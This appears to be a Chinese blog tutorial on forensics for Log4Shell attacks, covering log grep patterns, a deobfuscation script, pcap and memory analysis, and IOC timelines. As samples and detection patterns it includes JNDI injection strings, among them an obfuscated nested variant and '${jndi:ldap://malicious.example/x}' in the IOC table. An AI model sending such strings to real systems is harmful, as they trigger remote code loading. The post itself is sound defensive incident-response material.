☰
Log4JShell 攻击取证实战:日志、流量与内存分析
2026/10/21 7:24:52 网站建设 项目流程

Log4JShell 这个编号,安全圈几乎没人不知道。它本质上是日志组件在拼接输出时会把用户可控内容当成模板去解析,攻击者只要构造一段特殊字符串,就可能让应用去远程拉取恶意代码。对应急取证的人来说,这个漏洞最麻烦的不是“被打了”,而是“不知道被打到什么程度”。今天我就用一套自建的 digital-forensics-lab 分析环境,完整走一遍 Log4JShell 攻击证据的挖掘流程:从日志里找可疑请求,到流量包里追外连,再用内存分析确认影响,最后整理成时间线和失陷指标。内容不涉及任何攻击利用手法演示,只讲取证的思路、工具和实操套路。适合刚接触日志分析的安全工程师、应急响应人员和运维同学参考,只要照着做,即使没有现场环境,也能在实验环境里把流程跑通。

1. 先想明白:Log4JShell 取证到底要取什么

1.1 漏洞链路在证据上留下什么影子

Log4JShell 的根因,是日志框架内置的“消息查找机制”会把用户可控输入当作表达式解析。攻击者利用这一点,让目标应用主动去访问外部地址,再配合外部可控服务实现远程类加载或信息回传。换句话说,攻击者的每一步动作都会在系统里留下对应痕迹,这些痕迹就是取证要收集的“影子”。

从攻击链看,证据至少落在四个层面:

  1. 日志文本:HTTP 请求参数、请求头、Cookie、User-Agent 里可能残留${jndi:...}及其混淆变体。这是最直观、最容易发现的入口。
  2. 网络连接:应用服务器会在某个时间点主动外连到攻击者的 DNS、LDAP、RMI、HTTP 等资源。这类连接行为可以横向关联多台受害主机。
  3. 进程状态:Java 进程被注入的类文件、临时创建的线程、反弹 shell 的 socket 连接,都可能在内存镜像或系统进程列表里留下痕迹。
  4. 主机痕迹:攻击者成功执行命令后,往往会写入临时脚本、计划任务、Webshell 或新增监听端口。这些痕迹的持久化程度直接决定后续清理的复杂程度。

我这里明确只做取证,不展开漏洞利用过程。因为取证工作的核心是让证据说话,而不是教人怎么打。明确了这四类痕迹,后面所有分析动作就有了靶点。

1.2 取证目标不是抓 IP,而是闭环

很多人做 Log4JShell 应急时,第一步就是 grep 日志找恶意 IP,找到之后把 IP 封了就宣告结束。这种做法远远不够。取证要回答的是一整条问题链:

  • 攻击者从哪个入口进来的?UA、URL、Referer 还是 POST 参数?
  • 恶意字符串是否被日志框架完整解析?解析到了哪一步?
  • 目标应用是否真的产生了外连?外连是否成功回连?
  • 远程加载的类是否在目标进程中执行?有没有命令回显或文件写入?
  • 攻击者拿到执行权限后,又做了哪些横向动作?

只有把这些问题全部回答完,才叫取证闭环。举例来说,一个应用虽然在日志里出现了${jndi:ldap://恶意地址/test},但网络层完全没有去往该地址的请求,那结论就是“利用失败,影响有限”。反之,如果流量包里有完成的 TCP 三次握手,并且随后出现了下载后续 payload 的 HTTP 请求,那就要立刻升级为“已失陷,可能存在远程控制”,后续要进入主机排查和隔离流程。

我在 digital-forensics-lab 里的第一步,就是把这些问题转换成一份检查清单。每个分析动作都对应清单里的一个问题,最后再逐项打勾,形成报告。这样既不会漏,也不会被海量日志带偏。

2. 用 digital-forensics-lab 搭一个安全可控的取证环境

2.1 环境隔离是取证分析的底线

分析 Log4JShell 攻击证据,最大的风险不是找不到线索,而是分析环境本身被污染。你手里拿到的日志和 PCAP 很可能夹带了攻击者的真实 payload,如果直接在办公网络或生产网络里打开,轻则触发二次告警,重则让恶意代码在你的分析机里继续运行。所以 digital-forensics-lab 的第一原则是:隔离,隔离,再隔离。

我在搭建时通常这样做:

  • 用虚拟机快照方式复制原始数据,所有原始证据盘只读挂载,分析过程中的临时文件写在另一个快照盘里。
  • 把分析环境放在独立网段,不配置真实外网路由,所有域名解析用本地伪造的 DNS 服务完成。
  • 如果必须模拟外连服务来观察攻击链,只在实验室内部起一个临时 HTTP/LDAP 监听器,并保证监听端口不对真实网络开放。

有一次我在处理一位同事给的日志包时,发现里面除了日志还有几个看起来像图片但实际是恶意 class 文件的附件。如果不是因为环境做了只读挂载,这些文件一旦被解压并执行,后果会很麻烦。所以不要嫌环境搭建麻烦,这是在给自己兜底。

2.2 工具栈与数据源对照

digital-forensics-lab 里不需要装一堆花哨的商业平台,开源工具和命令行组合足够完成大部分分析。下面是我常用的工具栈对照表,你可以根据自己的环境调整。

证据类型采集方式分析工具方向主要输出物
应用日志日志采集器/直接复制原始日志文件文本检索工具、正则过滤、Python 脚本可疑请求列表、时间线
网络流量tcpdump 抓包或镜像口采集tshark、抓包分析工具PCAP 中的 DNS/TCP/HTTP 会话
内存镜像虚拟化平台快照或内存导出工具内存取证框架、字符串分析进程列表、网络连接、可疑线程
主机文件只读复制敏感目录哈希工具、静态扫描器恶意文件哈希、持久化痕迹
威胁情报内部威胁情报平台/公开 IOC 库脚本批量比对恶意 IP/域名关联

这套栈的核心思路是“数据先行,工具辅助”。先明确你手里有哪些数据源,再决定上什么工具。不要一上来就拿着某个全家桶扫描,很多时候简单的grep加python脚本,反而能更快锁定可疑点。

2.3 环境初始化的四个步骤

搭建 digital-forensics-lab 时,我习惯固定走四步,确保每次都能复现:

  1. 把原始证据文件复制到分析区,用 SHA256 生成哈希基线。哈希值记入取证清单,后面任何操作都不允许改原始文件。
  2. 启动隔离网络,给分析虚拟机配置一个仅在内部使用的网段,并关闭宿主机共享目录。
  3. 按数据源分类建立目录:logs/、pcap/、memory/、files/。日志和 PCAP 放在只读目录,分析脚本放在另一个目录。
  4. 预置检测规则:把${jndi:的各种变体、常见外连端口、可疑域名格式写入规则文件,方便后续批量扫描。

这四步做完,环境才算“干净”。我见过不少人在第一步偷懒,直接在生产服务器上 grep 大日志,结果磁盘 IO 被拖垮,还可能导致日志被再次写入,破坏了证据完整性。宁可多花十分钟做副本,也不要拿原始数据开玩笑。

3. 从日志里定位 Log4JShell 攻击痕迹

3.1 特征初筛:先按可疑字符串做地毯式搜索

日志分析的第一步,永远是做一次广撒网式的特征初筛。Log4JShell 最标志性的特征就是${jndi:字符串,但由于攻击者会大小写混写、用 URL 编码或嵌套变量,我们不能只搜一个固定形态。

我通常在日志目录里执行类似下面的检索:

grep -rnaE --include='*.log' --include='*.out' --include='*.json' \ -E "\\$\\{[^}]*jndi[^}]*|jndi:" /data/evidence/logs/

这里的关键是同时搜${jndi:和裸的jndi:,并开启大小写不敏感模式。URL 编码形态可以同一时间搜:

grep -rna --include='*.log' \ -E "%24%7B[^}]*%7D|jndi%3a|jndi:" /data/evidence/logs/

实话说,这一步通常能立刻爆出一堆命中。但命中不等于攻击成功,也可能只是扫描器的探测流量。所以初筛的目的是缩小范围,而不是给结论。

3.2 解码与还原被混淆的载荷

攻击者不会乖乖写一个标准的${jndi:ldap://...}放在日志里。实际环境里常见的是${${lower:j}ndi:${lower:l}dap://...}这种嵌套变量写法,或者用 base64、Unicode 编码把整个字符串包起来。取证人员如果只搜明文特征,很容易漏掉真实攻击。

我在 digital-forensics-lab 里会写一个递归展开的解析脚本:把日志中的${...}结构逐层拆开,识别出lower:、upper:、env:、sys:这类内置查找关键字,展开到第三层之后再看最终字符串是否包含jndi、ldap、rmi、dns等关键字。下面是一个简化版的思路,你可以按需扩展:

import re def expand_log4j_expr(text, depth=0): if depth > 5: return text pattern = re.compile(r'(\$\{[^}]*\})') while True: m = pattern.search(text) if not m: break expr = m.group(1) inner = expr[2:-1] expanded = inner for key, val in [("lower:", ""), ("upper:", "")]: if inner.lower().startswith(key.lower()): expanded = val + inner[len(key):].lower() if key == "lower:" else val + inner[len(key):].upper() text = text.replace(expr, expanded, 1) return text # 这个函数只在检测环境中使用,不构造任何可利用载荷

执行时对每条命中的日志都做一次展开还原,然后输出标准化后的可疑字符串。不要小看这个步骤,很多安全设备漏报,就是因为只拦了明文字符串,没有拦嵌套写法。取证脚本能还原出来,说明当前的检测规则也需要同步升级。

3.3 用日志上下文还原攻击路径

找到恶意字符串还不够,还要把这条字符串所在的完整请求链路拉出来。日志里通常会有 traceId、sessionId、requestId 这类关联字段。我一般先用初筛命中的时间点作为锚点,然后把同一关联 ID 的前后 30 条日志全部导出。

这样做的价值在于还原攻击者的行为序列。比如前面几条日志显示攻击者先访问了一个正常业务 URL,紧接着出现参数带${jndi:的请求,再往后日志里多了异常堆栈信息,可能包含javax.naming相关异常。这个序列就是攻击路径的直接证据。时间排列越完整,后续做时间线时越有底气。

我在某次模拟分析时发现,攻击者先对一个路径做了一次没有参数的探测,确认应用报错信息后,第二次才带上完整恶意字符串。如果我只分析单条命中日志,根本看不到这个“确认过程”。所以从上下文入手,比单点抓特征更有价值。

4. 从流量和内存证据里还原真实影响

4.1 流量包里的外连行为不会说谎

日志只能显示“应用尝试记录了什么”,而流量包能显示“应用到底外连了什么”。即使日志被刻意清掉,PCAP 里仍然会留下网络层的客观痕迹。

我在 digital-forensics-lab 里处理 PCAP 时,最先做的是 DNS 查询分析。Log4JShell 攻击链的常见第一步是让目标应用去解析一个随机子域名,攻击者通过 DNS 请求是否到达来判断漏洞是否触发。用抓包工具过滤 DNS 查询可以快速发现这类行为:

tshark -r evidence.pcap -Y "dns.flags.response == 0" -T fields \ -e frame.time -e dns.qry.name | grep -E "victim|mal|evil"

这里需要根据实际情报域名来调整关键字。如果 PCAP 里出现了对恶意域名的 DNS 请求,并且有对应的响应,说明目标应用的 JNDI 查询至少成功到达了 DNS 解析层。

接下来要关注 LDAP/RMI 这类外连。攻击者通常会在恶意服务器上开启 LDAP 或 RMI 服务,目标应用会主动连向这些端口。可以用过滤器筛目标端口范围,例如 1389、389、1099、7001 等。重点看 TCP 握手是否完成,以及连接方向是否由受害主机发往外部。如果只看到 SYN,没有 SYN-ACK,说明外部服务不可达;如果看到完整三次握手,则说明应用与攻击者服务确实建立了连接,风险等级要立刻调高。

需要提醒的是,现在大量业务流量已经走 TLS,PCAP 里看不到载荷内容。但仍可以用 TLS SNI 字段或者连接的 IP 归属判断是否指向恶意基础设施。连接行为的证据价值不亚于载荷本身。

4.2 内存取证:确认代码是否被远程加载

日志和流量能还原攻击链的大部分,但真正决定“是否失陷”的问题,是恶意类是否进入了 Java 进程内存并被执行。这个问题只能通过内存取证来回答。

在 digital-forensics-lab 里,我拿到内存镜像后会先做几件事:

  • 确认目标 Java 进程 PID 和启动时间。
  • 列出进程网络连接,寻找由 Java 进程指向外部恶意地址的 socket。
  • 在进程内存中搜索 JNDI 相关类名、可疑包名和 URL 字符串。
  • 提取内存中的可疑类字节码,与恶意文件哈希做比对。

内存取证框架里常见的命令包括进程扫描、网络连接扫描、DLL/共享库列表等。实际运行时要根据操作系统选择对应的 profile。这个环节最容易翻车的地方是内存镜像不完整,导致关键数据页缺失。所以我通常建议优先使用虚拟化平台的挂起快照,而不是操作系统层面的内存导出工具,这样能保留更完整的进程上下文。

我遇到过一次比较典型的情况:日志和流量都显示存在 JNDI 外连,但内存里没有找到对应类对象。后来发现是因为分析的内存镜像采集时间太晚,Java 进程已经崩溃重启,恶意类随旧进程一起消失了。所以内存取证要尽量早,最好在发现告警后立即采集,否则证据很可能自毁。

4.3 影响面评估与 IOC 汇总

当单台主机的取证完成后,要把结果放到整个业务环境里评估。这一步通常产出三样东西:受影响资产清单、攻击时间线、失陷指标 IOC。

我习惯用一个表格汇总:

时间受害主机来源 IP恶意特征字符串外连域名/IP是否成功风险等级
2023-XX-XX 10:21app-server-01203.0.113.X\${jndi:ldap://malicious.example/x}malicious.example是高
2023-XX-XX 10:22app-server-02203.0.113.X编码变体无外连否中

IOC 至少要包含:请求中的明文特征、URL 编码或嵌套变体、外连域名和 IP、下载的恶意文件哈希、以及攻击者在主机上创建的账户/文件路径。这些信息整理好后,可以直接给检测设备更新规则,也能作为后续清理的验收标准。

5. 常见翻车现场与排查技巧实录

5.1 日志被轮转截断,时间线缺一块

Log4JShell 刚爆发时,很多系统的日志轮转周期是一天甚至 6 小时。攻击发生在凌晨,到了上午分析时,关键日志已经被轮转覆盖或压缩。遇到这种情况,第一反应不是放弃,而是立刻检查所有轮转文件和归档目录。

我在 digital-forensics-lab 里会先形成一个“日志全集”,把主日志和所有带日期的轮转文件合并到一起,再按时间戳排序。常见路径包括logs/下的*.gz、*.zip以及应用自定义的backup/目录。如果真找不到某个时间段的日志,时间线上要明确标注“盲区”,不能因为缺失就假设安全。

5.2 时间戳时区不统一导致顺序错乱

分布式系统最头疼的问题之一就是时区。有的应用服务器写 UTC,有的写本地时间;有的日志格式带毫秒,有的只到秒。如果直接把所有日志按文本排序,攻击路径会被完全打乱。

我的做法是先把所有时间字段统一转成 epoch 毫秒,再按数字排序。Python 脚本几分钟就能完成,关键是转换时指定好源时区。转换后的日志可以重新生成一个“全局时间线”字段,方便和 PCAP、内存取证的证据对齐。时区统一这一步看起来不起眼,但对后续写报告影响很大,直接决定时间线是否可信。

5.3 证据链断裂:采集过程必须留痕

取证报告如果要在正式场合被采信,就不能只有结论,还要有证据链。证据链包括:原始证据哈希、采集时间、采集工具、采集人、存储位置。我在 digital-forensics-lab 里每次采集都会生成一份采集记录:

证据项:app-server-01 /var/log/app.log SHA256:7c7f0... 采集时间:2023-XX-XX 11:30 UTC 采集方式:只读复制 分析环境:digital-forensics-lab,隔离网段

听起来很繁琐,但真到写报告的时候,这条记录比任何分析过程都有说服力。我之前见过一个团队因为原始文件哈希和副本对不上,整条证据链被质疑,最后只能重新采集。重新采集意味着可能丢失已被覆盖的日志,所以第一次采集时务必严谨。

6. 把分析流程沉淀成可复用的取证手册

6.1 从一次性应急变成标准化动作

Log4JShell 的取证流程看似复杂,但拆解下来其实是一套可重复的步骤:环境准备、数据完整备份、特征初筛、解码还原、流量关联、内存确认、影响评估、报告输出。如果每次应急都从头开始敲命令,不仅效率低,还容易漏步骤。

我后来把 digital-forensics-lab 里的操作固化成了手册,里面包含:

  • 最小化取证环境检查清单。
  • 日志初筛正则库。
  • 解码脚本模板。
  • 时间线生成脚本。
  • 报告模板和证据链表单。

这样一来,即使换一个人来做同样的取证,也能按手册得到一致结果。这个思路不只适用于 Log4JShell,同样适用于其他记录型漏洞的应急分析。把经验沉淀成手册,远比自己记住所有细节可靠。

6.2 分享一个排查小技巧

最后分享一个我实际用下来的小技巧:分析日志时,不要只盯着${jndi:这个字符串,也去搜javax.naming、JndiLookup、log4j这类堆栈关键词。因为漏洞触发后,应用日志里往往会有相关异常堆栈,这些堆栈即使恶意字符串被脱敏或清理,仍然会残留在日志中。通过堆栈反推“曾经发生过解析”,往往能发现被刻意清理过的攻击痕迹。

我在实际分析中就是靠这个技巧,找到了一条被 WAF 拦截后仍然留下堆栈记录的告警,最终确认攻击者在拦截前已经完成了至少一次外连。Log4JShell 取证不是一场只看关键词的比赛,更像拼图,把日志、流量、内存、主机痕迹一块块拼起来,才能看清攻击的全貌。希望这套流程能帮你少走一些弯路,也提醒一句:所有分析动作都要在隔离环境里完成,别让取证工作本身变成下一次安全事件的入口。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询